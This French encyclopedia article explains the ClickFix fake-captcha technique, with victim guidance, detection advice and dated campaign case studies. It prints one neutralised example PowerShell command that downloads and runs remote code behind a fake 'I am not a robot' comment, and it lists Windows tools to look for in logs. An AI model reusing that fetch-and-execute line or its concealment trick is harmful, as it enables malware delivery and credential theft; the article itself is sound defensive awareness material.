--- id: CP-011 slug: clickfix-faux-captchas lang: fr title: ClickFix et faux captchas description: Une fausse vérification « Je ne suis pas un robot » vous fait coller une commande dans Windows+R. Comment marche ClickFix et quoi faire. canonical_url: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ markdown_url: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, « ClickFix et faux captchas », Cyberpedia, 2026. https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix et faux captchas ClickFix est une technique d'ingénierie sociale qui fait installer un logiciel malveillant par la victime elle-même. Une page web ou une pièce jointe affiche une fausse erreur ou une fausse vérification « Je ne suis pas un robot », puis une marche à suivre : ouvrir une fenêtre de commande de Windows, coller, valider. La page a déjà glissé une commande dans le presse-papiers, et c'est cette commande que la victime lance sans l'avoir lue [1]. Proofpoint a observé la méthode dès mars 2024. Le nom vient d'une série de fausses alertes de mise à jour du navigateur, repérée à la mi-avril 2024, que des chercheurs ont baptisée ClickFix [2]. Depuis l'automne 2024, les cybercriminels multiplient ces campagnes, note l'ANSSI [3]. Selon ESET, ClickFix a progressé de plus de 500 % entre le second semestre 2024 et le premier semestre 2025, jusqu'à devenir le deuxième vecteur d'attaque après l'hameçonnage [4]. ## En 30 secondes - Où ça arrive : sur une page web, souvent un site connu qui a été piraté, et dans des pièces jointes qui imitent un document Word. - Ce que veut l'attaquant : que vous lanciez vous-même une commande qui installe un voleur de mots de passe ou un accès à distance sur votre poste. - Le réflexe : aucune vérification honnête ne vous demande de coller quelque chose dans la fenêtre Exécuter, dans PowerShell ou dans le Terminal. Si une page le demande, fermez-la. - Si c'est déjà fait : débranchez le câble réseau ou coupez le Wi-Fi, laissez l'ordinateur allumé et appelez tout de suite le support informatique. ## Questions directes ### Un vrai captcha peut-il me demander d'appuyer sur Windows+R ? Non. Un captcha se règle dans la page : une case à cocher, des images à choisir, parfois rien du tout. Google conseille de se méfier de tout site qui vous demande de sortir du navigateur pour lancer des commandes sur votre appareil [5]. ### J'ai collé la commande, mais je n'ai pas appuyé sur Entrée. Suis-je infecté ? Cela dépend de la fenêtre. Dans la fenêtre Exécuter, rien ne part avant que vous appuyiez sur Entrée [2] : fermez-la sans valider. Dans PowerShell ou dans le Terminal, un collage peut s'exécuter tout seul. Dans la console PowerShell, un simple clic droit colle la commande et la lance [2], et Microsoft conseille de régler le Terminal pour qu'il avertisse quand le texte collé compte plusieurs lignes [6]. Dans tous les cas, prévenez le support informatique : votre poste est peut-être touché, et la page qui vous a demandé ce geste reste piégée pour vos collègues. ### Pourquoi l'antivirus ne bloque-t-il pas toujours l'attaque ? Parce que c'est vous qui lancez la commande, avec un outil fourni par Windows, et sans fichier à analyser au départ. Selon Proofpoint, les antivirus et les outils de détection installés sur les postes ont du mal à inspecter le contenu du presse-papiers : il faut donc bloquer la page piégée avant qu'elle ne s'affiche [2]. Microsoft estime qu'une campagne ClickFix peut ainsi passer à travers les protections automatiques classiques [6]. ## Dans la peau de l'attaquant Un fichier exécutable envoyé par courriel ou téléchargé depuis le web passe par plusieurs contrôles avant de pouvoir s'ouvrir. ClickFix les évite en confiant le geste dangereux à la victime : il n'y a plus de fichier, seulement une ligne de texte à coller [1]. Monter l'opération demande peu de savoir-faire. À la mi-septembre 2024, un chercheur a publié sur GitHub, « à des fins éducatives », un kit open source de faux reCAPTCHA, et Proofpoint l'a retrouvé dans des courriels malveillants quelques jours plus tard [7]. Depuis la fin 2024, Microsoft voit des vendeurs proposer sur des forums de pirates des générateurs ClickFix, surnommés « Win + R », avec des pages qui imitent notamment Cloudflare. L'abonnement coûte entre 200 et 1 500 dollars par mois. Une pièce détachée seule, comme le code source, la page d'accueil ou la ligne de commande, se vend entre 200 et 500 dollars [6]. Le clic sur « vérifier » déclenche un script qui copie la commande dans le presse-papiers, en arrière-plan [6]. Cette commande se termine souvent par un faux texte de confirmation, du type « I am not a robot: CAPTCHA Verification UID » [6]. Proofpoint explique le rôle de ce faux message placé en fin de commande : une fois la commande collée dans la fenêtre Exécuter, la victime ne voit pas la vraie commande malveillante [7]. Le champ de cette fenêtre n'accepte pas plus de 259 caractères [6], et la commande collée se contente en général de télécharger la suite depuis un serveur. PowerShell reste l'outil de Windows le plus utilisé pour cela [6]. ```text Ce que la page met dans le presse-papiers (exemple reconstitué, adresse neutralisée) : powershell -w h -c "iwr hxxps://exemple[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 Ce que la victime peut voir dans la fenêtre Exécuter (illustration) : le faux message, pas la commande. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## Ce que vous voyez à l'écran Le scénario type : un faux captcha s'affiche avant la page que vous vouliez voir, souvent à l'image du reCAPTCHA de Google ou du Turnstile de Cloudflare [6]. Vous cliquez, et le captcha vous donne des consignes : ouvrir la fenêtre Exécuter avec la touche Windows et R, coller avec Ctrl+V, puis appuyer sur Entrée. C'est le scénario décrit par la CISA et le FBI dans leur alerte de mai 2025 sur le voleur de données LummaC2 [8]. Le décor change selon la cible. En mars 2024, des courriels contenaient une pièce jointe qui ressemblait à un document Word, avec le message « l'extension Word Online n'est pas installée » et deux boutons, « How to fix » et « Auto-fix » [2]. À partir de décembre 2024, une campagne a visé le personnel de l'hôtellerie en imitant Booking.com, avec un faux captcha posé sur une copie de page Booking.com à peine visible en arrière-plan [9]. Ne vous fiez pas au décor, qui peut imiter fidèlement Cloudflare, Google ou Booking.com. Le signal qui doit vous arrêter, c'est la consigne : une page web vous demande de quitter le navigateur pour coller quelque chose dans une fenêtre du système. Dans le programme Brain, ce geste se rattache au réflexe « Identifier les signaux de manipulation dans le corps de l'email ». Ici, le signal de manipulation est la marche à suivre elle-même, par courriel comme sur le web. Si vous avez validé la commande, agissez dans les minutes qui suivent. Débranchez le câble réseau ou coupez le Wi-Fi, mais n'éteignez pas l'ordinateur : dans sa fiche consacrée aux rançongiciels, Cybermalveillance.gouv.fr rappelle que l'extinction risque d'effacer des éléments de preuve contenus dans la mémoire et nécessaires à l'enquête [10]. Appelez le support informatique ou l'équipe sécurité et dites-leur quels comptes étaient ouverts sur le poste. LummaC2, l'un des programmes installés de cette façon, emporte des identifiants financiers, des portefeuilles de cryptomonnaie, des extensions de navigateur et des informations de double authentification [8] : ce sont ces comptes qu'il faudra protéger en premier. Sans service informatique, la plateforme 17cyber.gouv.fr propose un parcours d'assistance [10]. ## Sous le capot La fenêtre Exécuter appartient à l'Explorateur Windows (explorer.exe), un composant auquel le système fait confiance [6]. Chaque commande lancée avec succès depuis cette fenêtre laisse une trace dans la clé de registre RunMRU, qui garde l'historique des saisies. Microsoft conseille aux enquêteurs d'y chercher des appels à powershell, mshta, rundll32, wscript, curl ou wget, des outils de Windows capables de télécharger ou d'exécuter du code [6]. Pour la place de PowerShell dans les attaques en général, voir l'article sur l'exécution par interpréteur de commandes. Microsoft recommande de désactiver la fenêtre Exécuter par stratégie de groupe pour les personnes qui n'en ont pas besoin, d'activer la journalisation des blocs de script PowerShell et de limiter les applications autorisées [6]. Google invite les entreprises à interdire par défaut l'exécution de scripts par les utilisateurs [5]. La CISA conseille une liste d'applications autorisées et des comptes séparés pour l'administration [8]. La technique ne vise plus seulement Windows. En juin 2025, une campagne ClickFix a ciblé des utilisateurs de macOS pour installer le voleur de données Atomic macOS Stealer [6], et ESET la décrit comme une menace pour Windows, Linux et macOS [4]. ## Autopsies ### Mars 2024 : TA571 et ClearFake Le 1er mars 2024, TA571, un distributeur de courriels malveillants, envoie plus de 100 000 messages à des milliers d'organisations avec la fausse page Word décrite plus haut. Selon les campagnes du printemps, la commande installe DarkGate, Matanbuchus ou NetSupport [2]. Dès début avril, la campagne ClearFake injecte de fausses alertes dans des sites légitimes piratés. Proofpoint y décrit une chaîne où un seul script PowerShell pouvait faire exécuter cinq familles de logiciels malveillants, dont le voleur de données Lumma Stealer [2]. ### Septembre 2024 : les fausses alertes GitHub Le 18 septembre 2024, des attaquants commentent ou ouvrent des tickets dans des dépôts GitHub. Les notifications que GitHub envoie aux développeurs se présentent comme une alerte de sécurité et mènent vers un faux site GitHub doté d'un faux reCAPTCHA. La commande installe Lumma Stealer, et Proofpoint compte au moins 300 organisations touchées [7]. ### Décembre 2024 : l'hôtellerie visée Microsoft suit sous le nom Storm-1865 la campagne aux couleurs de Booking.com. Elle vise des employés de l'hôtellerie en Amérique du Nord, en Océanie, en Asie et en Europe, et installe notamment XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot et NetSupport RAT [9]. ### 2025 : des services de renseignement s'y mettent Google a identifié LOSTKEYS, un programme qui vole des fichiers, et l'attribue au groupe COLDRIVER, aussi appelé Callisto ou Star Blizzard. LOSTKEYS, observé en janvier, mars et avril 2025, est livré au bout d'une chaîne qui commence par un faux captcha : la page copie une commande PowerShell et demande de la lancer depuis la fenêtre Exécuter. Parmi les cibles récentes du groupe figurent des conseillers, actuels ou anciens, de gouvernements occidentaux, des journalistes et des ONG [5]. Selon l'ANSSI, des opérateurs de Callisto auraient également utilisé cette technique en septembre 2025, dans des campagnes visant des membres de la société civile en Russie et des ONG impliquées en Ukraine. L'agence indique aussi qu'au moins une campagne ClickFix a été portée à sa connaissance [3]. ## Sources 1. MITRE ATT&CK, « User Execution: Malicious Copy and Paste (T1204.004) », 18 mars 2025. https://attack.mitre.org/techniques/T1204/004/ (consulté le 26 octobre 2026) 2. Proofpoint, « From Clipboard to Compromise: A PowerShell Self-Pwn », 17 juin 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consulté le 26 octobre 2026) 3. ANSSI, « Panorama de la cybermenace 2025 », 11 mars 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consulté le 26 octobre 2026) 4. ESET (WeLiveSecurity), « Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 », 26 juin 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consulté le 26 octobre 2026) 5. Google Threat Intelligence Group, « COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs », 7 mai 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consulté le 26 octobre 2026) 6. Microsoft Threat Intelligence, « Think before you Click(Fix): Analyzing the ClickFix social engineering technique », 21 août 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consulté le 26 octobre 2026) 7. Proofpoint, « Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape », 18 novembre 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consulté le 26 octobre 2026) 8. CISA et FBI, « Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations », 21 mai 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consulté le 26 octobre 2026) 9. Microsoft Threat Intelligence, « Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware », 13 mars 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consulté le 26 octobre 2026) 10. Cybermalveillance.gouv.fr, « Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ? », 3 juin 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consulté le 26 octobre 2026) --- Source originale : Cyberpedia, l'encyclopédie publique de cybersécurité et d'IA publiée par Brain. Version canonique : https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ Vous pouvez reprendre ce texte librement sous licence CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), à condition de citer « Brain, Cyberpedia » avec un lien vers l'adresse ci-dessus.